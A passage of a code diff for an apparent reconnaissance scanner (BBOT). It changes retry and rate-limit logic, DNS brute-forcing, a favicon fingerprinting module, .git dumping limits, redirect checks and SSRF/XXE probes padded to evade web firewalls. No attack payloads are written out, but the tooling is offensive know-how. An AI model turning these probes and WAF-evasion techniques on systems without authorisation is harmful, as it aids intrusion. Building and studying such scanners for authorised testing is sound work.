self._api_keys: - # if request failed, cycle API keys and try again - self.cycle_api_key() - continue - break + break + sleep_interval = self._429_sleep_interval if retry_after is None else retry_after + if sleep_interval > self._429_max_sleep_interval: + self.verbose( + f"Got an excessive retry-after of {sleep_interval} from {new_url}, using {self._429_max_sleep_interval} instead" + ) + sleep_interval = self._429_max_sleep_interval + self.verbose(f"Rate limited (HTTP status: {status_code}), waiting {sleep_interval:,} seconds") + self._api_rate_limited_until = max(self._api_rate_limited_until, time.monotonic() + sleep_interval) + self.cycle_api_key() + continue + + self._api_rate_limit_count = 0 + self._api_request_failures += 1 + if self._api_request_failures >= self.api_failure_abort_threshold: + self.set_error_state(f"Setting error state due to {self._api_request_failures:,} failed HTTP requests") + break + self.cycle_api_key() + if attempt < self.api_retries - 1: + await asyncio.sleep(backoff) + backoff = min(backoff * 2, self._api_retry_max_backoff) return r @@ -1411,11 +1476,20 @@ def _get_retry_after(self, r): body_json = r.json() if isinstance(body_json, dict): retry_after = body_json.get("retry_after", None) - if retry_after is not None: - # we don't allow retry-after smaller than 1 second - # this is to prevent cases where APIs erroneously return a retry-after value of 0 - # e.g. https://github.com/blacklanternsecurity/bbot/issues/2826 - return max(1.0, float(retry_after)) + if retry_after is None: + return None + try: + seconds = float(retry_after) + except (TypeError, ValueError): + # Retry-After can also be an HTTP date + try: + seconds = (parsedate_to_datetime(retry_after) - datetime.now(timezone.utc)).total_seconds() + except (TypeError, ValueError): + return None + # we don't allow retry-after smaller than 1 second + # this is to prevent cases where APIs erroneously return a retry-after value of 0 + # e.g. https://github.com/blacklanternsecurity/bbot/issues/2826 + return max(1.0, seconds) def _prepare_api_iter_req(self, url, page, page_size, offset, **requests_kwargs): """ @@ -1980,6 +2054,18 @@ async def get_incoming_event(self): """ return await self.incoming_event_queue.get() + def make_intercept_queue(self): + """ + Make the queue that feeds this module from the previous intercept module, divided into lanes by `incoming_lane()` + """ + return LaneQueue(lambda item: self.incoming_lane(item[0])) + + def incoming_lane(self, event): + """ + The lane an incoming event joins. Events in lower lanes are handled first. + """ + return 0 + async def forward_event(self, event, kwargs): """ Used for forwarding the event on to the next intercept module diff --git a/bbot/modules/censys_ip.py b/bbot/modules/censys_ip.py index 078dce65f2..8e6bab22ac 100644 --- a/bbot/modules/censys_ip.py +++ b/bbot/modules/censys_ip.py @@ -152,10 +152,14 @@ async def handle_event(self, event): # Extract software/technologies for software in service.get("software", []): - product = software.get("uniform_resource_identifier", software.get("product", "")) - if product: + cpe = software.get("uniform_resource_identifier", "") + technology = (self.helpers.cpe_product(cpe) if cpe else None) or software.get("product", "") + if technology: + tech = {"technology": technology, "host": str(event.host)} + if cpe: + tech["cpe"] = cpe await self.emit_event( - {"technology": product, "host": str(event.host)}, + tech, "TECHNOLOGY", parent=event, context="{module} found {event.type}: {event.data[technology]} on {event.parent.data}", diff --git a/bbot/modules/crt.py b/bbot/modules/crt.py index ed435ccd3f..f6c9dcfca1 100644 --- a/bbot/modules/crt.py +++ b/bbot/modules/crt.py @@ -11,7 +11,7 @@ class crt(subdomain_enum): "author": "@TheTechromancer", } - base_url = "https://crt.sh" + base_url = "https://crt.sh/" reject_wildcards = False async def setup(self): diff --git a/bbot/modules/dnsbrute.py b/bbot/modules/dnsbrute.py index 7b56ae1408..a300b7745b 100644 --- a/bbot/modules/dnsbrute.py +++ b/bbot/modules/dnsbrute.py @@ -9,7 +9,7 @@ class dnsbrute(subdomain_enum): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] meta = { - "description": "Brute-force subdomains with massdns + static wordlist", + "description": "Brute-force subdomains with a static wordlist", "author": "@TheTechromancer", "created_date": "2024-04-24", } @@ -25,7 +25,6 @@ class Config(BaseModuleConfig): description="If True, brute-force hosts discovered by dnsbrute_mutations. The default (False) skips them because the static wordlist heavily overlaps with the mutation algorithm's own output.", ) - deps_common = ["massdns"] reject_wildcards = "strict" dedup_strategy = "lowest_parent" _qsize = 10000 @@ -62,7 +61,7 @@ async def filter_event(self, event): async def handle_event(self, event): query = self.make_query(event) self.info(f"Brute-forcing {self.wordlist_size:,} subdomains for {query} (source: {event.pretty_string})") - for hostname in await self.helpers.dns.brute(self, query, self.subdomain_list): + for hostname in await self.helpers.dns.brute(query, self.subdomain_list): await self.emit_event( hostname, "DNS_NAME", diff --git a/bbot/modules/dnsbrute_mutations.py b/bbot/modules/dnsbrute_mutations.py index b4784f6ea6..d5d4150b6e 100644 --- a/bbot/modules/dnsbrute_mutations.py +++ b/bbot/modules/dnsbrute_mutations.py @@ -9,7 +9,7 @@ class dnsbrute_mutations(BaseModule): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] meta = { - "description": "Brute-force subdomains with massdns + target-specific mutations", + "description": "Brute-force subdomains with target-specific mutations", "author": "@TheTechromancer", "created_date": "2024-04-25", } @@ -17,7 +17,6 @@ class dnsbrute_mutations(BaseModule): class Config(BaseModuleConfig): max_mutations: int = Field(100, description="Maximum number of target-specific mutations to try per subdomain") - deps_common = ["massdns"] _qsize = 10000 async def setup(self): @@ -43,7 +42,10 @@ async def handle_event(self, event): async def get_parent_event(self, subdomain): start = time.time() - parent_host = await self.helpers.run_in_executor_cpu(self.helpers.closest_match, subdomain, self.parent_events) + # pass the hostnames only; the dict values are events, which are expensive to pickle + parent_host = await self.helpers.run_in_executor_mp( + self.helpers.closest_match, subdomain, list(self.parent_events) + ) elapsed = time.time() - start self.trace(f"{subdomain}: got closest match among {len(self.parent_events):,} parent events in {elapsed:.2f}s") return self.parent_events[parent_host] @@ -123,7 +125,7 @@ def add_mutation(m): self.info( f"Trying {len(mutations):,} mutations against {domain} ({i + 1}/{len(trimmed_found)})" ) - results = await self.helpers.dns.brute(self, query, mutations) + results = await self.helpers.dns.brute(query, mutations) try: mutation_run = self._mutation_run_counter[domain] except KeyError: diff --git a/bbot/modules/dnscommonsrv.py b/bbot/modules/dnscommonsrv.py index 36ce8fb89b..300a503c5b 100644 --- a/bbot/modules/dnscommonsrv.py +++ b/bbot/modules/dnscommonsrv.py @@ -9,7 +9,6 @@ class dnscommonsrv(subdomain_enum): flags = ["safe", "subdomain-enum", "active"] meta = {"description": "Check for common SRV records", "created_date": "2022-05-15", "author": "@TheTechromancer"} dedup_strategy = "lowest_parent" - deps_common = ["massdns"] class Config(BaseModuleConfig): max_depth: int = Field(2, description="The maximum subdomain depth to brute-force SRV records") @@ -34,7 +33,7 @@ async def filter_event(self, event): async def handle_event(self, event): query = self.make_query(event) self.verbose(f'Brute-forcing {self.num_srvs:,} SRV records for "{query}"') - for hostname in await self.helpers.dns.brute(self, query, common_srvs, type="SRV"): + for hostname in await self.helpers.dns.brute(query, common_srvs, type="SRV"): await self.emit_event( hostname, "DNS_NAME", diff --git a/bbot/modules/dnsdumpster.py b/bbot/modules/dnsdumpster.py index 63fd34b596..7740341d20 100644 --- a/bbot/modules/dnsdumpster.py +++ b/bbot/modules/dnsdumpster.py @@ -1,9 +1,8 @@ -import json +from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey +from bbot.core.config.models import BaseModuleConfig, Field -from bbot.modules.templates.subdomain_enum import subdomain_enum - -class dnsdumpster(subdomain_enum): +class dnsdumpster(subdomain_enum_apikey): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] flags = ["safe", "subdomain-enum", "passive"] @@ -13,63 +12,48 @@ class dnsdumpster(subdomain_enum): "author": "@TheTechromancer", } - base_url = "https://dnsdumpster.com" - - async def setup(self): - self.apikey_regex = self.helpers.re.compile(r']*data-form-id="mainform"[^>]*hx-headers=\'([^\']*)\'') - return True - - async def query(self, domain): - ret = [] - # first, get the JWT token from the main page - res1 = await self.api_request(self.base_url) - status_code = getattr(res1, "status_code", 0) - if status_code not in [200]: - self.verbose(f'Bad response code "{status_code}" from DNSDumpster') - return ret + class Config(BaseModuleConfig): + api_key: str | list[str] = Field("", description="DNSDumpster API key", sensitive=True, mandatory=True) + max_pages: int = Field(10, description="Maximum result pages to request per domain") - # Extract JWT token from the form's hx-headers attribute using regex - jwt_token = None - try: - # Look for the form with data-form-id="mainform" and extract hx-headers - form_match = await self.helpers.re.search(self.apikey_regex, res1.text) - if form_match: - headers_json = form_match.group(1) - headers_data = json.loads(headers_json) - jwt_token = headers_data.get("Authorization") - except (AttributeError, json.JSONDecodeError, KeyError): - self.log.warning("Error obtaining JWT token") - return ret + base_url = "https://api.dnsdumpster.com" - # Abort if we didn't get the JWT token - if not jwt_token: - self.verbose("Error obtaining JWT token") - self.errorState = True - return ret - else: - self.debug("Successfully obtained JWT token") - - if self.scan.stopping: - return ret - - # Query the API with the JWT token - res2 = await self.api_request( - "https://api.dnsdumpster.com/htmld/", - method="POST", - data={"target": str(domain).lower()}, - headers={ - "Authorization": jwt_token, - "Content-Type": "application/x-www-form-urlencoded", - "Origin": "https://dnsdumpster.com", - "Referer": "https://dnsdumpster.com/", - "HX-Request": "true", - "HX-Target": "results", - "HX-Current-URL": "https://dnsdumpster.com/", - }, - ) - status_code = getattr(res2, "status_code", 0) - if status_code not in [200]: - self.verbose(f'Bad response code "{status_code}" from DNSDumpster API') - return ret - - return await self.scan.extract_in_scope_hostnames(res2.text) + async def setup(self): + self.max_pages = self.config.get("max_pages", 10) + return await super().setup() + + def prepare_api_request(self, url, kwargs): + kwargs["headers"]["X-API-Key"] = self.api_key + return url, kwargs + + async def query(self, query): + results = set() + a_records = 0 + for page in range(1, self.max_pages + 1): + # page 1 is the bare URL; the API only accepts an explicit page number from 2 on + url = f"{self.base_url}/domain/{query}" + if page > 1: + url = f"{url}?page={page}" + r = await self.api_request(url) + if r is None: + self.verbose(f'No response for "{query}" (page {page})') + break + if page > 1 and r.status_code in (401, 403): + self.verbose(f"Paging past the first page requires a paid membership (HTTP {r.status_code})") + break + try: + data = r.json() + except Exception: + self.verbose(f'Error parsing JSON for "{query}" (HTTP {r.status_code})') + break + if not isinstance(data, dict): + self.verbose(f'Unexpected response for "{query}" (HTTP {r.status_code}): {r.text[:200]}') + break + results.update(await self.scan.extract_in_scope_hostnames(r.text)) + # the response reports how many A records exist in total; stop once they have all been seen + page_a_records = len(data.get("a") or []) + a_records += page_a_records + total = data.get("total_a_recs") + if not isinstance(total, int) or not page_a_records or a_records >= total: + break + return results diff --git a/bbot/modules/dotnetnuke.py b/bbot/modules/dotnetnuke.py index b99a7eeca0..8d754f84d3 100644 --- a/bbot/modules/dotnetnuke.py +++ b/bbot/modules/dotnetnuke.py @@ -210,8 +210,8 @@ async def cleanup(self): self.warning(f"Interactsh failure: {e}") async def finish(self): - if self.interactsh_instance: - await self.helpers.sleep(5) + if self.interactsh_instance and self.interactsh_subdomain_tags: + await self.interactsh_instance.settle() try: for r in await self.interactsh_instance.poll(): await self.interactsh_callback(r) diff --git a/bbot/modules/favicon.py b/bbot/modules/favicon.py new file mode 100644 index 0000000000..095eb0dea9 --- /dev/null +++ b/bbot/modules/favicon.py @@ -0,0 +1,108 @@ +import re +import base64 +import mmh3 +import yaml +from urllib.parse import urljoin + +from bbot.modules.base import BaseModule +from bbot.core.config.models import BaseModuleConfig, Field + + +class favicon(BaseModule): + watched_events = ["HTTP_RESPONSE"] + produced_events = ["TECHNOLOGY"] + flags = ["safe", "active", "web-heavy"] + meta = { + "description": "Identify web technologies by the mmh3 hash of their favicon", + "created_date": "2026-10-16", + "author": "@liquidsec", + } + + class Config(BaseModuleConfig): + signatures_url: str = Field( + "https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/technologies/favicon-detect.yaml", + description="URL of the nuclei favicon-detect template to load favicon signatures from", + ) + + _module_threads = 4 + + link_tag_regex = re.compile(r"]*>", re.I) + link_rel_regex = re.compile(r"""\brel\s*=\s*["']?([^"'>]+)""", re.I) + link_href_regex = re.compile(r"""\bhref\s*=\s*["']?([^"'\s>]+)""", re.I) + signature_regex = re.compile(r'"(-?\d+)"\s*==\s*mmh3\(base64_py\(body\)\)') + # some signature names end in a redundant "favicon" (e.g. "asp.net-favicon") + name_favicon_suffix_regex = re.compile(r"[-_ ]+(?:default[-_ ]+)?favicon$", re.I) + + async def setup(self): + signatures_url = self.config.get("signatures_url") + signatures_file = await self.helpers.download(signatures_url, cache_hrs=24) + if not signatures_file: + return None, f"Failed to download favicon signatures from {signatures_url}" + self.signatures = self.parse_signatures(yaml.safe_load(signatures_file.read_text())) + if not self.signatures: + return None, f"No favicon signatures could be parsed from {signatures_url}" + self.verbose(f"Loaded {len(self.signatures):,} favicon signatures") + return True + + def parse_signatures(self, template): + signatures = {} + for request in template.get("http", []): + for matcher in request.get("matchers", []): + name = self.name_favicon_suffix_regex.sub("", matcher.get("name", "")) + hashes = [int(h) for dsl in matcher.get("dsl", []) for h in self.signature_regex.findall(dsl)] + if not hashes: + self.warning(f"Skipping favicon signature with unrecognized format: {name}") + continue + for h in hashes: + signatures.setdefault(h, set()).add(name) + return signatures + + def icon_urls(self, event): + """ + Icons declared by the page via , followed by the default /favicon.ico. + + If the page declares none and lives in a subdirectory, the subdirectory's favicon.ico is tried + first, since it may belong to a different app mounted there. + """ + page_url = event.data["url"] + urls = [] + for tag in self.link_tag_regex.findall(event.body or ""): + rel = self.link_rel_regex.search(tag) + href = self.link_href_regex.search(tag) + if rel and href and "icon" in rel.group(1).lower().split(): + url = urljoin(page_url, href.group(1)) + if url.startswith(("http://", "https://")): + urls.append(url) + if not urls: + path_segments = event.parsed_url.path.split("/") + if len(path_segments) > 2: + urls.append(urljoin(page_url, f"/{path_segments[1]}/favicon.ico")) + urls.append(urljoin(page_url, "/favicon.ico")) + return list(dict.fromkeys(urls)) + + def _incoming_dedup_hash(self, event): + return hash(tuple(self.icon_urls(event))), "already checked these favicons" + + def _outgoing_dedup_hash(self, event): + # the same favicon across ports, schemes, or subdirectories is the same app + return hash((event.host, event.data["technology"])) + + async def handle_event(self, event): + for icon_url in self.icon_urls(event): + r = await self.helpers.request(icon_url, follow_redirects=True) + if r is None or r.status_code != 200 or not r.content: + continue + if "html" in r.headers.get("content-type", "").lower(): + continue + favicon_hash = mmh3.hash(base64.encodebytes(r.content)) + names = self.signatures.get(favicon_hash) + if not names: + continue + for technology in sorted(names): + await self.emit_event( + {"host": str(event.host), "url": event.data["url"], "technology": technology}, + "TECHNOLOGY", + parent=event, + context=f"{{module}} matched favicon hash {favicon_hash} at {r.url} to {{event.type}}: {technology}", + ) + return diff --git a/bbot/modules/fingerprintx.py b/bbot/modules/fingerprintx.py index 4bbac86970..3e4f5d3a47 100644 --- a/bbot/modules/fingerprintx.py +++ b/bbot/modules/fingerprintx.py @@ -1,7 +1,7 @@ import json import subprocess from bbot.modules.base import BaseModule -from bbot.core.config.models import BaseModuleConfig, Field +from bbot.core.config.models import BaseModuleConfig, Field, VersionStr class fingerprintx(BaseModule): @@ -18,7 +18,7 @@ class fingerprintx(BaseModule): _priority = 2 class Config(BaseModuleConfig): - version: str = Field("1.1.4", description="fingerprintx version") + version: VersionStr = Field("1.1.4", description="fingerprintx version") skip_common_web: bool = Field(True, description="Skip common web ports such as 80, 443, 8080, 8443, etc.") deps_ansible = [ diff --git a/bbot/modules/generic_ssrf.py b/bbot/modules/generic_ssrf.py index ae0e1baab0..9a7f30b11c 100644 --- a/bbot/modules/generic_ssrf.py +++ b/bbot/modules/generic_ssrf.py @@ -64,7 +64,7 @@ async def test(self, event): if r: self.process(event, r.text, subdomain_tag) - def process(self, event, r, subdomain_tag): + def process(self, event, r, subdomain_tag, used_nowafpls=False): response_token = self.generic_ssrf.interactsh_domain.split(".")[0][::-1] if response_token in r: echoed_response = True @@ -76,6 +76,7 @@ def process(self, event, r, subdomain_tag): self.technique_description, self.severity, echoed_response, + used_nowafpls, ) @@ -125,9 +126,11 @@ async def test(self, event): for tag, pd in post_data_list: # Send raw body (not URL-encoded) so payload URLs like http://... reach the server literally. raw_body = "&".join(f"{k}={v}" for k, v in pd.items()) - r = await self.generic_ssrf.helpers.request(url=test_url, method="POST", body=raw_body) + padded_body = await self.generic_ssrf.helpers.nowafpls.pad_form_body(event, raw_body) + used_nowafpls = padded_body is not raw_body + r = await self.generic_ssrf.helpers.request(url=test_url, method="POST", body=padded_body) if r: - self.process(event, r.text, tag) + self.process(event, r.text, tag, used_nowafpls=used_nowafpls) class Generic_XXE(BaseSubmodule): @@ -213,6 +216,7 @@ async def interactsh_callback(self, r): matched_technique = match[1] matched_severity = match[2] matched_echoed_response = str(match[3]) + matched_used_nowafpls = match[4] triggering_param = self.parameter_subdomain_tags_map.get(subdomain_tag, None) description = f"Out-of-band interaction: [{matched_technique}]" @@ -236,6 +240,7 @@ async def interactsh_callback(self, r): event_data, "FINDING", matched_event, + tags=["used-nowafpls"] if matched_used_nowafpls else None, context=f"{{module}} scanned {matched_event.url} and detected {{event.type}}: {matched_technique}", ) else: @@ -253,8 +258,8 @@ async def cleanup(self): self.warning(f"Interactsh failure: {e}") async def finish(self): - if self.scan.config.get("interactsh_disable", False) is False: - await self.helpers.sleep(5) + if self.scan.config.get("interactsh_disable", False) is False and self.interactsh_subdomain_tags: + await self.interactsh_instance.settle() try: for r in await self.interactsh_instance.poll(): await self.interactsh_callback(r) diff --git a/bbot/modules/gitdumper.py b/bbot/modules/gitdumper.py index 791347fb9c..aee6e984e6 100644 --- a/bbot/modules/gitdumper.py +++ b/bbot/modules/gitdumper.py @@ -146,7 +146,10 @@ async def directory_listing_enabled(self, repo_url): return response return None - async def recursive_dir_list(self, dir_listing): + async def recursive_dir_list(self, dir_listing, _depth=0, _max_depth=10): + if _depth >= _max_depth: + self.verbose(f"Maximum directory listing depth ({_max_depth}) reached at {dir_listing.url}") + return [] file_list = [] soup = self.helpers.beautifulsoup(dir_listing.text, "html.parser") links = soup.find_all("a") @@ -156,12 +159,14 @@ async def recursive_dir_list(self, dir_listing): continue if href.endswith("/"): folder_url = self.helpers.urljoin(str(dir_listing.url), href) + if not folder_url.startswith(str(dir_listing.url)): + self.verbose(f"Skipping out-of-scope directory link: {folder_url}") + continue response = await self.helpers.request(folder_url) if getattr(response, "status_code", 0) == 200: - file_list.extend(await self.recursive_dir_list(response)) + file_list.extend(await self.recursive_dir_list(response, _depth=_depth + 1, _max_depth=_max_depth)) else: file_url = self.helpers.urljoin(str(dir_listing.url), href) - # Ensure the file is in the same domain as the directory listing if file_url.startswith(str(dir_listing.url)): url = self.helpers.urlparse(file_url) file_list.append(url) diff --git a/bbot/modules/gowitness.py b/bbot/modules/gowitness.py index 5e0ce0daab..92fbff7986 100644 --- a/bbot/modules/gowitness.py +++ b/bbot/modules/gowitness.py @@ -7,7 +7,7 @@ from pathlib import Path from bbot.modules.base import BaseModule -from bbot.core.config.models import BaseModuleConfig, Field +from bbot.core.config.models import BaseModuleConfig, Field, VersionStr class gowitness(BaseModule): @@ -17,7 +17,7 @@ class gowitness(BaseModule): meta = {"description": "Take screenshots of webpages", "created_date": "2022-07-08", "author": "@TheTechromancer"} class Config(BaseModuleConfig): - version: str = Field("3.1.1", description="Gowitness version") + version: VersionStr = Field("3.1.1", description="Gowitness version") threads: int = Field(0, description="How many gowitness threads to spawn (default is number of CPUs x 2)") timeout: int = Field(10, description="Preflight check timeout") resolution_x: int = Field(1440, description="Screenshot resolution x") diff --git a/bbot/modules/host_header.py b/bbot/modules/host_header.py index 02e9d60764..237e61cb21 100644 --- a/bbot/modules/host_header.py +++ b/bbot/modules/host_header.py @@ -61,8 +61,8 @@ async def interactsh_callback(self, r): self.debug("skipping results because subdomain tag was missing") async def finish(self): - if self.scan.config.get("interactsh_disable", False) is False: - await self.helpers.sleep(5) + if self.scan.config.get("interactsh_disable", False) is False and self.subdomain_tags: + await self.interactsh_instance.settle() try: for r in await self.interactsh_instance.poll(): await self.interactsh_callback(r) diff --git a/bbot/modules/internal/dnsresolve.py b/bbot/modules/internal/dnsresolve.py index f4a5abae1a..1a2628fe53 100644 --- a/bbot/modules/internal/dnsresolve.py +++ b/bbot/modules/internal/dnsresolve.py @@ -1,4 +1,5 @@ import sys +import math from contextlib import suppress from blastdns import DNSResult @@ -21,8 +22,10 @@ class HostModule(BaseModule): _type = "internal" @property - def module_threads(self): - return self.dns_config.get("threads", 25) + def _module_threads(self): + # each event averages 2-4 queries in flight, so half the DNS client's slots keeps it full + # without queueing other modules' lookups behind a backlog + return max(10, math.ceil(self.helpers.dns.concurrency / 2)) async def setup(self): self.dns_config = self.scan.config.get("dns", {}) @@ -50,6 +53,13 @@ async def setup(self): return True + def incoming_lane(self, event): + # events whose host was already resolved upstream skip ahead of hosts still awaiting resolution + if not event.host: + return 0 + dns_parent = self.find_dns_parent(event) + return 0 if dns_parent is not None and dns_parent is not event else 1 + async def filter_event(self, event): if (not event.host) or (event.type in ("IP_RANGE",)): return False, "event does not have host attribute" @@ -65,25 +75,23 @@ async def handle_event(self, event, **kwargs): non_minimal_rdtypes = self.non_minimal_rdtypes # first, we find or create the main DNS_NAME or IP_ADDRESS associated with this event - main_host_event, in_target, blacklisted, new_event = self.get_dns_parent(event) + main_host_event, new_event = self.get_dns_parent(event) original_tags = set(event.tags) # minimal resolution - first, we resolve A/AAAA records for scope purposes - if new_event or event is main_host_event: - await self.resolve_event(main_host_event, types=minimal_rdtypes) - # are any of its IPs in target scope or blacklisted? - in_target, blacklisted = self.check_scope(main_host_event) - if in_target and main_host_event.scope_distance > 0: - # when filter_ptrs is enabled, don't promote PTR-derived hostnames to in-scope - # this prevents rDNS results from triggering subdomain enumeration against unrelated domains - # (e.g. scanning 1.2.3.0/24 would otherwise enumerate every PTR parent like randomothercorp.com) - if self.filter_ptrs and "ptr" in main_host_event.tags: - self.debug(f"Not making {main_host_event} in-scope: PTR-derived hostname (filter_ptrs=true)") - else: - self.debug( - f"Making {main_host_event} in-scope because it resolves to an in-scope resource (A/AAAA)" - ) - main_host_event.scope_distance = 0 + # done for every event, since a child can be handled before or alongside its parent (repeats are cache hits) + await self.resolve_event(main_host_event, types=minimal_rdtypes) + # are any of its IPs in target scope or blacklisted? + in_target, blacklisted = self.check_scope(main_host_event) + if in_target and main_host_event.scope_distance > 0: + # when filter_ptrs is enabled, don't promote PTR-derived hostnames to in-scope + # this prevents rDNS results from triggering subdomain enumeration against unrelated domains + # (e.g. scanning 1.2.3.0/24 would otherwise enumerate every PTR parent like randomothercorp.com) + if self.filter_ptrs and "ptr" in main_host_event.tags: + self.debug(f"Not making {main_host_event} in-scope: PTR-derived hostname (filter_ptrs=true)") + else: + self.debug(f"Making {main_host_event} in-scope because it resolves to an in-scope resource (A/AAAA)") + main_host_event.scope_distance = 0 # abort if the event resolves to something blacklisted if blacklisted: @@ -333,22 +341,25 @@ async def resolve_event(self, event, types): except ValueError: continue + def find_dns_parent(self, event): + """ + Get the first DNS_NAME / IP_ADDRESS in an event's chain (including the event itself) with the same host, or None. + """ + for parent in event.get_parents(include_self=True): + if parent.host == event.host and parent.type in ("IP_ADDRESS", "DNS_NAME", "DNS_NAME_UNRESOLVED"): + return parent + def get_dns_parent(self, event): """ Get the first parent DNS_NAME / IP_ADDRESS of an event. If one isn't found, create it. - Returns a 4-tuple of: + Returns a 2-tuple of: - the parent event - - whether the parent is in target - - whether the parent is blacklisted - whether the parent is a new event, i.e. it is newly created or is the current event """ - for parent in event.get_parents(include_self=True): - if parent.host == event.host and parent.type in ("IP_ADDRESS", "DNS_NAME", "DNS_NAME_UNRESOLVED"): - blacklisted = any(t.startswith("dns-blacklisted-") for t in parent.tags) - in_target = any(t.startswith("dns-in-target-") for t in parent.tags) - new_event = parent is event - return parent, in_target, blacklisted, new_event + parent = self.find_dns_parent(event) + if parent is not None: + return parent, parent is event tags = set() if "seed" in event.tags: tags.add("seed") @@ -361,8 +372,6 @@ def get_dns_parent(self, event): context="{event.parent.type} has host {event.type}: {event.host}", tags=tags, ), - None, - None, True, ) diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index 0d1651c375..f486bf401a 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -34,11 +34,38 @@ def find_subclasses(obj, base_class): >>> find_subclasses(locals(), A) [, ] """ - subclasses = [] - for name, member in inspect.getmembers(obj): - if inspect.isclass(member) and issubclass(member, base_class) and member is not base_class: - subclasses.append(member) - return subclasses + subclasses = {} + for namespace in _member_namespaces(obj): + for name, member in namespace.items(): + if inspect.isclass(member) and issubclass(member, base_class) and member is not base_class: + subclasses.setdefault(name, member) + return [subclasses[name] for name in sorted(subclasses)] + + +def _snapshot(mapping): + # a live module's setup() may be assigning attributes while we read it + while True: + try: + return dict(mapping) + except RuntimeError: + continue + + +def _member_namespaces(obj): + """Yield the namespaces of ``obj`` without invoking attribute descriptors. + + ``inspect.getmembers`` getattrs every name, which fires properties such as + ``BaseModule.memory_usage``. That walks the module's ``__dict__`` and blows + up with "dictionary changed size during iteration" when the module it is + reading is concurrently running its own ``setup()``. + """ + if not isinstance(obj, type): + instance_dict = getattr(obj, "__dict__", None) + if isinstance(instance_dict, dict): + yield _snapshot(instance_dict) + classes = obj.__mro__ if isinstance(obj, type) else type(obj).__mro__ + for cls in classes: + yield _snapshot(vars(cls)) def _pick_select_value(options_html): @@ -141,6 +168,8 @@ def extract_params_location(location_header_value, original_parsed_url): _yara_identifier_regex = re.compile(r"[A-Za-z_]\w*") _yara_rule_modifiers = ("private", "global") +_html_end_regex = re.compile(r"", re.I) + def _skip_yara_noncode(source, i): """ @@ -356,11 +385,15 @@ async def preprocess(self, r, event, discovery_context): yara_rule_settings = YaraRuleSettings(description, tags, emit_match, severity, confidence) yara_results = {} for h in r.strings: - yara_results[h.identifier.lstrip("$")] = sorted( - {i.matched_data.decode("utf-8", errors="ignore") for i in h.instances} - ) + yara_results[h.identifier.lstrip("$")] = sorted(self.match_strings(h)) await self.process(yara_results, event, yara_rule_settings, discovery_context) + def match_strings(self, string): + """ + The distinct text a yara string matched. Override when some matches shouldn't count. + """ + return {i.matched_data.decode("utf-8", errors="ignore") for i in string.instances} + async def process(self, yara_results, event, yara_rule_settings, discovery_context): """ Processes YARA rule results and reports events with enriched data. @@ -513,7 +546,7 @@ class excavateTestRule(ExcavateRule): """ watched_events = ["HTTP_RESPONSE", "RAW_TEXT"] - produced_events = ["URL_UNVERIFIED", "WEB_PARAMETER"] + produced_events = ["URL_UNVERIFIED", "WEB_PARAMETER", "FINDING"] _avoid_duplicate_content = True flags = ["safe", "passive"] meta = { @@ -534,12 +567,58 @@ class Config(BaseModuleConfig): 262144, description="Maximum byte slice of the response body searched for a single
body. YARA only locates form openings; the bounded slice is what the Python re-based extractor scans for fields. Caps worst-case extraction work per form match.", ) + long_redirect_threshold: int = Field( + 2048, + description="Minimum number of bytes following the end of the HTML document for a 3xx response to be reported as a long redirection response. Set to 0 to disable the check.", + ) scope_distance_modifier = None accept_dupes = False _module_threads = 6 + async def check_long_redirect(self, event, body): + """Report a redirect whose body keeps going after the document ends. + + Browsers discard the body of a 3xx, so content delivered here is never + displayed. A server that emits a redirect document and then keeps writing + has run the handler the redirect was meant to skip (CWE-698, Execution + After Redirect). + + Body size on its own is not the signal: analytics payloads and notice + pages clear any byte threshold. Trailing content is measured on the + decoded body, since ``content_length`` reports the compressed size and + is absent from most of these responses. + """ + threshold = self.long_redirect_threshold + status_code = event.http_status + location = event.data.get("location", "") + if not (threshold and location and 300 <= status_code < 400): + return + document_end = _html_end_regex.search(body) + if not document_end: + return + trailing = len(body) - document_end.end() + if trailing < threshold: + return + + await self.emit_event( + { + "host": str(event.host), + "url": event.data.get("url", ""), + "name": "Long Redirection Response", + "description": ( + "Redirect kept writing after the document ended, delivering content no browser displays. " + f"Status: [{status_code}] Location: [{location}] Trailing bytes: [{trailing}]" + ), + "severity": "LOW", + "confidence": "HIGH", + }, + "FINDING", + event, + context="{module} found content past the end of the document on a {event.type} redirect, which browsers never display", + ) + def in_bl(self, value): # Check if the value is in the blacklist or starts with a blacklisted prefix. lower_value = value.lower() @@ -592,6 +671,15 @@ def _event_base_url(self, event): path = event.data.get("path", event.parsed_url.path) return urlparse(f"{scheme}://{host}{path}") + async def _document_base_url(self, event, document_url): + """The URL relative references in the body resolve against: the page's if it has one, else document_url.""" + m = await self.helpers.re.search(bbot_regexes.base_href_regex, getattr(event, "body", "") or "") + if m: + base_url = urljoin(document_url, html.unescape(m.group(1))) + if urlparse(base_url).scheme in ("http", "https"): + return base_url + return document_url + def url_unparse(self, param_type, parsed_url): # Reconstructs a URL, optionally omitting the query string based on remove_querystring configuration value. if param_type == "GETPARAM": @@ -780,9 +868,6 @@ async def extract(self): if not form_action or form_action == "#": form_action = None - elif form_action.startswith("./"): - form_action = form_action.lstrip(".") - form_parameters = {} for form_content_regex_name, form_content_regex in self.form_content_regexes.items(): input_tags = await self.excavate.helpers.re.findall(form_content_regex, form_content) @@ -894,6 +979,8 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte # Use event.body (property) so we hit the body-spill store; event.data["body"] is # popped at spill time and would be empty here. response_body = getattr(event, "body", "") or "" + # resolved on the first relative endpoint; RAW_TEXT events have no URL to resolve against + document_url = base_url = None for identifier, results in yara_results.items(): if identifier not in self.parameterExtractorCallbackDict.keys(): raise ExcavateError("ParameterExtractor YaraRule identified reference non-existent submodule") @@ -929,14 +1016,23 @@ async def process(self, yara_results, event, yara_rule_settings, discovery_conte if endpoint and endpoint.startswith(("http://", "https://")): url = endpoint - # The endpoint is usually a form action - we should use it if we have it. If not, default to URL. + elif not hasattr(event, "parsed_url"): + self.excavate.debug( + f"Skipping parameter [{parameter_name}] with relative endpoint: {event.type} has no URL" + ) + continue + + # The endpoint is usually a form action - we should use it if we have it. + # A form with no action submits to the document URL, not . else: - # Use the effective base URL (which may differ from parsed_url for archived content) - event_base = self.excavate._event_base_url(event) - base_url = 